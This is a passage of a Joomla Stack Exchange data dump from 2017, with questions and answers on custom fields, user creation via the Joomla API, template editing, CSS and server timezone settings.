  <row Id="21246" PostTypeId="2" ParentId="21236" CreationDate="2017-07-27T13:21:05.633" Score="1" Body="&lt;p&gt;You can use jroute and contenthelperroute to get the sef urls.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(ContentHelperRoute::getArticleRoute($id, $catid, $language));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only have the article ID's you can try this without $catid and $language. They are optional.&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-07-27T13:21:05.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21247" PostTypeId="2" ParentId="21220" CreationDate="2017-07-27T13:27:24.917" Score="1" Body="&lt;p&gt;I also had to show component output in an iframe on another domain. I ended up creating a very simple template showing only the component output. I added the base target line in the template's header. Then instead of tmpl=component I used tmpl=simpletemplatename. &lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-07-27T13:27:24.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21248" PostTypeId="2" ParentId="21126" CreationDate="2017-07-27T13:34:04.520" Score="2" Body="&lt;p&gt;Basically you have all the custom fields corresponding to the current item accessible via a new property in your $item variable called jcfields. The $item-&gt;jcfields property is an array that holds data per field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could output the fields this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;item-&amp;gt;jcfields as $field) : ?&amp;gt;&#xA;// Render the field using the fields render method&#xA;&amp;lt;?php echo $field-&amp;gt;label . ':' . $field-&amp;gt;value; ?&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J3.x:Adding_custom_fields/Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-07-27T13:34:04.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21249" PostTypeId="1" AcceptedAnswerId="21250" CreationDate="2017-07-28T04:36:58.427" Score="1" ViewCount="122" Body="&lt;p&gt;I am noticing that many of the Akeeba backup files are three or four MB smaller after the recent Joomla v3.7.4 update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla v3.7.4 install file isn't any smaller so I'm wondering if the 3.7.4 update performs a housekeeping function such as deleting old libraries, log files or other code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some other recent change I am not aware of (e.g. myjoomla.com audits storing less files on the website)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of Akeeba Backup.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-07-29T07:57:59.387" Title="Why are my Akeeba Backup files suddenly a few MB smaller?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21250" PostTypeId="2" ParentId="21249" CreationDate="2017-07-28T08:39:13.707" Score="3" Body="&lt;p&gt;It runs &lt;code&gt;administrator/components/com_admin/script.php&lt;/code&gt; which does some housekeeping like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are functions to clear logs and delete unused files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've personally not noticed smaller files in Akeeba after the update.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-07-28T08:39:13.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21251" PostTypeId="2" ParentId="21249" CreationDate="2017-07-28T09:07:14.453" Score="1" Body="&lt;p&gt;I used the Akeeba Extract Wizard to decompress the backup files and compared folder sizes until I found the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Gantry v4.1.32 to 4.1.33 update reduced installed folder sizes by a few hundred KB but the main culprit was myjoomla.com where the 4.2 MB &lt;code&gt;/plugins/system/bfnetwork/bfnetwork/tmp/myjoomla-upgradefile.zip&lt;/code&gt; file has been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am accepting Richard's answer as the best answer because he quite rightly points out that there is some housekeeping done by Joomla installs, identified the file with the code and this is probably more useful to other readers than my particular circumstances.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-07-28T09:07:14.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21252" PostTypeId="1" AcceptedAnswerId="22459" CreationDate="2017-07-28T09:46:12.450" Score="5" ViewCount="4859" Body="&lt;p&gt;With Joomla 3.7.x article custom fields have finally gotten part of Joomla content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to ask how I can render these Custom Fields in the Joomla Category List?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding custom fields to the Joomla Category List is still not part of Joomla (hopefully it will come one day too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in order to add the custom fields to the Joomla Category List, I've made an template override of '&lt;strong&gt;com_content/category/default_articles.php&lt;/strong&gt;' to add two columns that I want to use to display Two Custom fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Date field with Title: 'Entry into force' and name 'gildiskoma'&lt;/li&gt;&#xA;&lt;li&gt;Text field with Title 'Type' and name 'slag'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My current override of &lt;strong&gt;default_articles.php&lt;/strong&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /**--- Enable direct access by name to custom fields (Top) ----*/  ?&amp;gt;&#xA;&amp;lt;?php foreach($item-&amp;gt;jcfields as $jcfield)&#xA;     {&#xA;    $item-&amp;gt;jcFields[$jcfield-&amp;gt;name] = $jcfield;&#xA;     }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php /**--------- Custom Fields Header (Around line 120) -----------*/  ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes')) : ?&amp;gt;&#xA;    &amp;lt;th id=&quot;categorylist_header_dato&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('grid.sort', 'LIST_GILDISKOMA', 'gildiskoma', $listDirn, $listOrder); ?&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes')) : ?&amp;gt;&#xA;    &amp;lt;th id=&quot;categorylist_header_type&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('grid.sort', 'LIST_SLAG', 'slag', $listDirn, $listOrder); ?&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /**--- Custom Category List Fields Content (Around line 250) ---*/  ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes', 0) &amp;amp;&amp;amp; $this-&amp;gt;vote) : ?&amp;gt;&#xA;    &amp;lt;td headers=&quot;categorylist_header_date&quot; class=&quot;list-gildiskoma&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;jcFields['gildiskoma']-&amp;gt;value; ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('list_show_votes', 0) &amp;amp;&amp;amp; $this-&amp;gt;vote) : ?&amp;gt;&#xA;    &amp;lt;td headers=&quot;categorylist_header_type&quot; class=&quot;list-slag&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;jcFields['slag']-&amp;gt;value; ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We don't use the article vote feature, so I've chosen to use the Custom Fields in its place as you might notice from the code above, which gives me two custom columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the documentation for &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;J3.x:Adding custom fields/Overrides&lt;/a&gt; and also found this post on &lt;a href=&quot;https://joomla.stackexchange.com/questions/21158/how-to-fetch-joomla-article-custom-fields-in-another-component&quot;&gt;How to fetch Joomla article custom fields in another component?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation has a section explaining how to add individual fields with override. But my code above doesn't display the custom fields value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm not sure what I'm missing to get the fields value to show in the list? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below also a screenshot which illustrates what I'm trying to do.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8zKHL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8zKHL.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9835" LastEditorUserId="9835" LastEditDate="2017-08-17T08:07:33.747" LastActivityDate="2018-08-20T20:15:33.490" Title="Joomla custom fields in Category List" Tags="|joomla-3.x|custom-field|joomla-3.7|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21253" PostTypeId="1" CreationDate="2017-07-29T07:50:24.170" Score="-2" ViewCount="29" Body="&lt;p&gt;&lt;a href=&quot;http://notifications.newsdoses.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://notifications.newsdoses.com/&lt;/a&gt; I want to change the main color on hover from green to orange. I'm using jd _Atlanta template. Please help! I tried but unable to do that.&#xA;ps latest joomla version.&lt;/p&gt;&#xA;" OwnerUserId="11376" LastActivityDate="2017-07-29T12:05:14.153" Title="http://notifications.newsdoses.com/ I want to change the main color on hover" Tags="|menu|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21254" PostTypeId="2" ParentId="21249" CreationDate="2017-07-29T07:57:59.387" Score="2" Body="&lt;p&gt;myjoomla-upgradefile.zip is a transient file and should never be found on a joomla site - unless the upgrade of the myJoomla.com connector failed. This file is downloaded and consumed as needed. It can safely be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindest regards&#xA;Phil.&#xA;(Owner of the myJoomla.com service)&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2017-07-29T07:57:59.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21255" PostTypeId="1" CreationDate="2017-07-29T09:50:26.523" Score="3" ViewCount="1189" Body="&lt;p&gt;I am trying to add a simple file upload field type to the com_contact using Joomla's custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there is a 'URL scheme File' type but I couldn't figure out how to get that to work as a file upload field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone out there know how to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8012" LastActivityDate="2020-09-15T08:17:26.417" Title="Joomla custom fields type url file - upload?" Tags="|custom-field|joomla-3.7|file-upload|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21256" PostTypeId="1" AcceptedAnswerId="21257" CreationDate="2017-07-29T11:08:44.540" Score="1" ViewCount="2450" Body="&lt;p&gt;For various reasons, I need to create a Joomla user from outside Joomla.&#xA;Following advice, I'm using passwordhash.php for the hashing so I use something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$t_hasher = new PasswordHash(10, TRUE);&#xA;$jpassword = $t_hasher-&amp;gt;HashPassword($rsnew[&quot;password&quot;]); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then directly add a record containing name, email, username and this hashed password into the Joomla ..._users table. (I also add the relevant record into the ..._user_usergroup_map table)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The record looks fine in the database but I can't login - &quot;Username and password do not match or you do not have an account yet.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can authenticate successfully from an external program against the Joomla ..._users table using something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mysql = &quot;SELECT password FROM jos_users WHERE username = '&quot;.$usr.&quot;'&quot;;&#xA;   $t_hasher = new PasswordHash(10, TRUE);&#xA;   if ($t_hasher-&amp;gt;CheckPassword($pwd, $mydb-&amp;gt;get_var($mysql))) {&#xA;      return TRUE;&#xA;          .........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously the stored password hash is correct in some way otherwise I wouldn't be able to authenticate it from outside but why won't Joomla accept it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If I go into Joomla admin and change the password, then I can correctly authenticate from both inside and outside Joomla.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11377" LastActivityDate="2017-07-31T09:43:58.033" Title="Creating a Joomla user from outside Joomla" Tags="|php|joomla-3.4|account-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21257" PostTypeId="2" ParentId="21256" CreationDate="2017-07-29T11:58:25.057" Score="5" Body="&lt;p&gt;You should use the internal Joomla functions to create and handle user accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the answer here: &lt;a href=&quot;https://stackoverflow.com/questions/1904809/how-can-i-create-a-new-joomla-user-account-from-within-a-script&quot;&gt;https://stackoverflow.com/questions/1904809/how-can-i-create-a-new-joomla-user-account-from-within-a-script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementing Joomla framework and adding new user (#4-#8):&#xA;&lt;a href=&quot;https://diadem.in/blog/two-ways-to-add-joomla-users-using-your-custom-code/&quot; rel=&quot;noreferrer&quot;&gt;https://diadem.in/blog/two-ways-to-add-joomla-users-using-your-custom-code/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do something like this in my components to generate the password hash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$salt = JUserHelper::genRandomPassword(32);&#xA;$crypt = JUserHelper::getCryptedPassword('your_password', $salt);&#xA;$password_hash = $crypt.':'.$salt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Script for creating user (tested J3.7.x):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', dirname(__FILE__) );//this is when we are in the root&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;$params = array(&#xA;    'name'=&amp;gt;'test',&#xA;    'username'=&amp;gt;'test_user',&#xA;    'email'=&amp;gt;'mail@example.com',&#xA;    'password'=&amp;gt;'test',&#xA;&#xA;);&#xA;&#xA;$udata = array(&#xA;    'name'=&amp;gt;$params['name'],&#xA;    'username'=&amp;gt;$params['username'],&#xA;    'password'=&amp;gt;$params['password'],&#xA;    'email'=&amp;gt;$params['email'],&#xA;    'groups'=&amp;gt;array(2), // set the usergroup(s) here (id)&#xA;&#xA;);&#xA;&#xA;$user = new JUser;&#xA;&#xA;try{&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    echo 'Bind user data: ';&#xA;    var_dump($user-&amp;gt;bind($udata));         &#xA;&#xA;    echo 'Save user data: ';&#xA;    var_dump($user-&amp;gt;save());&#xA;&#xA;    echo 'Testing login: ';&#xA;    var_dump( $app-&amp;gt;login( array('username'=&amp;gt;$params['username'],'password'=&amp;gt;$params['password']) ) );&#xA;&#xA;} catch (Exception $ex) {&#xA;&#xA;    echo 'Exception: ',  $e-&amp;gt;getMessage(), '\n';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is no need to hash the password beforehand.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2017-07-31T09:43:58.033" LastActivityDate="2017-07-31T09:43:58.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21258" PostTypeId="2" ParentId="21253" CreationDate="2017-07-29T12:05:14.153" Score="0" Body="&lt;p&gt;Just override the CSS for the hover :   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.gf-menu li:hover &amp;gt; .item{&#xA;       color:orange;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if that work directly, because of your media queries in your current CSS. &#xA;( &lt;em&gt;@media only screen and (min-width: 1024px)&lt;/em&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is btw. not a Joomla related question.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-07-29T12:05:14.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21259" PostTypeId="2" ParentId="21141" CreationDate="2017-07-29T12:21:28.880" Score="1" Body="&lt;p&gt;&quot;file&quot; is the frontend controller called here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/components/com_your_component/controllers/file.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Your_ComponentControllerFile extends JControllerLegacy&#xA;{&#xA;    public function submit(){&#xA;&#xA;      // do something&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can load admin controllers and helpers within this controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please consider this too: &lt;a href=&quot;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-07-29T12:21:28.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21260" PostTypeId="1" CreationDate="2017-07-30T09:21:01.857" Score="2" ViewCount="104" Body="&lt;p&gt;One of my friends asked me to change something on his Joomla website. He has back-end login info, but doesn't have FTP access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does Joomla have back-end theme editor, just like WordPress which i can edit all theme files. I know a little bit about WordPress and not Joomla.&lt;/p&gt;&#xA;" OwnerUserId="11380" LastEditorUserId="1520" LastEditDate="2017-07-30T22:16:07.027" LastActivityDate="2017-07-30T22:16:07.027" Title="Does Joomla have back-end theme editor functionality, just like WordPress?" Tags="|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21262" PostTypeId="2" ParentId="21260" CreationDate="2017-07-30T10:05:05.623" Score="4" Body="&lt;p&gt;Yes, it has as well. While you are in admin area, from the top menu, go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Extensions&lt;/kbd&gt; &gt; &lt;kbd&gt;Templates&lt;/kbd&gt; &gt; &lt;kbd&gt;Templates&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then click on the template name you want to edit its files. Now you can select a file from left hand side and edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's obvious that the server should have proper file/folder permission and security configurations.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2017-07-30T10:05:05.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21263" PostTypeId="1" CreationDate="2017-07-30T16:24:40.203" Score="2" ViewCount="179" Body="&lt;p&gt;I am attempting to use a Text Separator as a non-clickable menu parent header.  Unfortunately the template I am using formats this differently to the clickable menu items, so I would like to modify the CSS to give it the same look and feel.&#xA;Firebug tells me the class for a clickable item is of the form class=&quot;item-102 deeper parent&quot; I wonder if someone could explain where I can find the CSS code for these classes and how I might apply the relevant parts to a Text Separator.&#xA;(I have searched the styles.css file for my template and cannot find it).&lt;/p&gt;&#xA;" OwnerUserId="11381" LastActivityDate="2017-07-30T17:25:22.223" Title="Specifying Joomla Menu Classes" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21264" PostTypeId="2" ParentId="21263" CreationDate="2017-07-30T17:25:22.223" Score="2" Body="&lt;p&gt;The location will vary depending on your template.&#xA;To find what's being applied and where, I'd probably uninstall Firebug and use the Firefox DevTools (as Firebug suggest users do as they no longer develop Firebug).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, click the menu item with the DevTools' &lt;code&gt;Inspector&lt;/code&gt; and look in the right &lt;code&gt;Rules&lt;/code&gt; column of your console. This will show you what styles are being applied.  To the right of the style it will say something like &lt;code&gt;style.css:76&lt;/code&gt; - which means it is on line 76 of &lt;code&gt;style.css&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Text Separator has the class &lt;code&gt;divider&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-07-30T17:25:22.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21266" PostTypeId="1" AcceptedAnswerId="21267" CreationDate="2017-07-31T11:14:06.150" Score="2" ViewCount="97" Body="&lt;p&gt;&lt;code&gt;JFactory&lt;/code&gt; has a &lt;code&gt;getDbo&lt;/code&gt; method, but no &lt;code&gt;setDbo&lt;/code&gt;. Why? It can be useful for unit-testing to be able to overwrite the global database driver. Any other way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;code&gt;$database&lt;/code&gt; is a public property of &lt;code&gt;JFactory&lt;/code&gt;, so I can just overwrite it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myDatabase = new JDatabaseDriver ...&#xA;JFactory::$database = $myDatabase;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2017-07-31T11:59:14.933" LastActivityDate="2017-07-31T11:59:14.933" Title="Overwrite the global database driver" Tags="|database|jfactory|unit-testing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21267" PostTypeId="2" ParentId="21266" CreationDate="2017-07-31T11:19:24.277" Score="2" Body="&lt;p&gt;You can set the database driver, just not with any simple function (that I know of), such as &lt;code&gt;setDbo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;a href=&quot;https://github.com/joomla-framework/database&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Database Framework package&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Database;&#xA;&#xA;class MyApplication extends AbstractApplication&#xA;{&#xA;    protected $db;&#xA;&#xA;    protected function initialise()&#xA;    {&#xA;        // Make the database driver.&#xA;        $dbFactory = new Database\DatabaseFactory;&#xA;&#xA;        $this-&amp;gt;db = $dbFactory-&amp;gt;getDriver(&#xA;            $this-&amp;gt;get('database.driver'),&#xA;            array(&#xA;                'host' =&amp;gt; $this-&amp;gt;get('database.host'),&#xA;                'user' =&amp;gt; $this-&amp;gt;get('database.user'),&#xA;                'password' =&amp;gt; $this-&amp;gt;get('database.password'),&#xA;                'port' =&amp;gt; $this-&amp;gt;get('database.port'),&#xA;                'socket' =&amp;gt; $this-&amp;gt;get('database.socket'),&#xA;                'database' =&amp;gt; $this-&amp;gt;get('database.name'),&#xA;            )&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can replace &lt;code&gt;$this-&amp;gt;get('database.driver')&lt;/code&gt; with the driver that you need.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-07-31T11:19:24.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21269" PostTypeId="2" ParentId="15004" CreationDate="2017-08-01T05:12:07.340" Score="3" Body="&lt;p&gt;You can set a Menu-Item to be hidden, using Tab &quot;Link Type&quot; &gt; &quot;Display in Menu&quot; set to &quot;No&quot; (3.7). So no need for an hidden Menu anymore.&lt;/p&gt;&#xA;" OwnerUserId="5630" LastActivityDate="2017-08-01T05:12:07.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21271" PostTypeId="1" CreationDate="2017-08-01T08:42:13.593" Score="1" ViewCount="237" Body="&lt;p&gt;i've created an extension plugin and i'am having issue to redirect on the trigger &lt;em&gt;onExtensionBeforeInstall&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgExtensionExample extends JPlugin{&#xA;&#xA;    function onExtensionBeforeInstall($method, $type, $manifest, $eid){&#xA;        $app = JFactory::getApplication();&#xA;        $app-&amp;gt;redirect(JRoute::_('index.php'));&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i try to install a plugin a have a javascript error :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In chrome&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Cannot read property 'redirect' of undefined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In firefox&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: res.data is undefined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've searched in joomla and &lt;code&gt;res&lt;/code&gt; is the result of a call in ajax, but &lt;code&gt;res&lt;/code&gt; need to be an object and it's a string of html.&#xA;I've tried to reach the url which is called in ajax but i got this message :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answers.&lt;/p&gt;&#xA;" OwnerUserId="11388" LastActivityDate="2017-08-02T05:10:58.547" Title="Redirect on extension plugin with onExtensionBeforeInstall" Tags="|joomla-3.x|plugin|extensions|ajax|redirect|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21272" PostTypeId="1" CreationDate="2017-08-01T10:57:11.287" Score="-1" ViewCount="102" Body="&lt;p&gt;My website has been blocked by google because it thinks it's been affected by malware. When I run scans they don't show anything. How can I detect what's wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My sites always get affected with malware and the site is then blocked by google. I cannot figure out what causes it . is it the hosting or Joomla itself or incorrect security settings. can someone please help how to protect from these javascript and PHP code injections? &lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2017-08-07T09:14:13.620" Title="Joomla Website affected with Malware" Tags="|security|administration|" AnswerCount="2" CommentCount="8" ClosedDate="2017-08-07T20:31:16.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="21274" PostTypeId="1" CreationDate="2017-08-01T11:28:51.027" Score="3" ViewCount="139" Body="&lt;p&gt;I have exactely the same issue like in this &lt;a href=&quot;https://joomla.stackexchange.com/questions/16274/question-about-server-timezones-and-j3-5-extentions/21273#21273&quot;&gt;post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a Joomla site online booking (Joomla + Yootheme + Vik Appointment) I need Pacific/Tahiti default timezone and I still have UTC despite all my efforts. I am stuck.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I put into Vik Appointments extension ini files : date_default_timezone_set(&quot;Pacific/Tahiti&quot;);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla configuration server is set at : Pacific/Tahiti&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My hosting provider set php.ini with : php_admin_value[date.timezone] = Pacific/Tahiti (I asked for : date.timezone = &quot;Pacific/Tahiti&quot; but he changes it, I guess he has some reasons, but it told me he can not guarantee as this parameter is only global)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My .htaccess is set with : SetEnv TZ Pacific/Tahiti&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but php info still says I am in UTC, and the site make erratic booking dates and times :-( at this point I really don't see why I am still stuck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How and where should I put the code give on the &lt;a href=&quot;https://joomla.stackexchange.com/questions/16274/question-about-server-timezones-and-j3-5-extentions/21273#21273&quot;&gt;post&lt;/a&gt; for .htaccess? suPHP_ConfigPath /home3/username_here order allow,deny deny from all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for help, much apreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Yannick&lt;/p&gt;&#xA;" OwnerUserId="11389" LastActivityDate="2018-01-14T14:07:01.447" Title="Impossible to set my 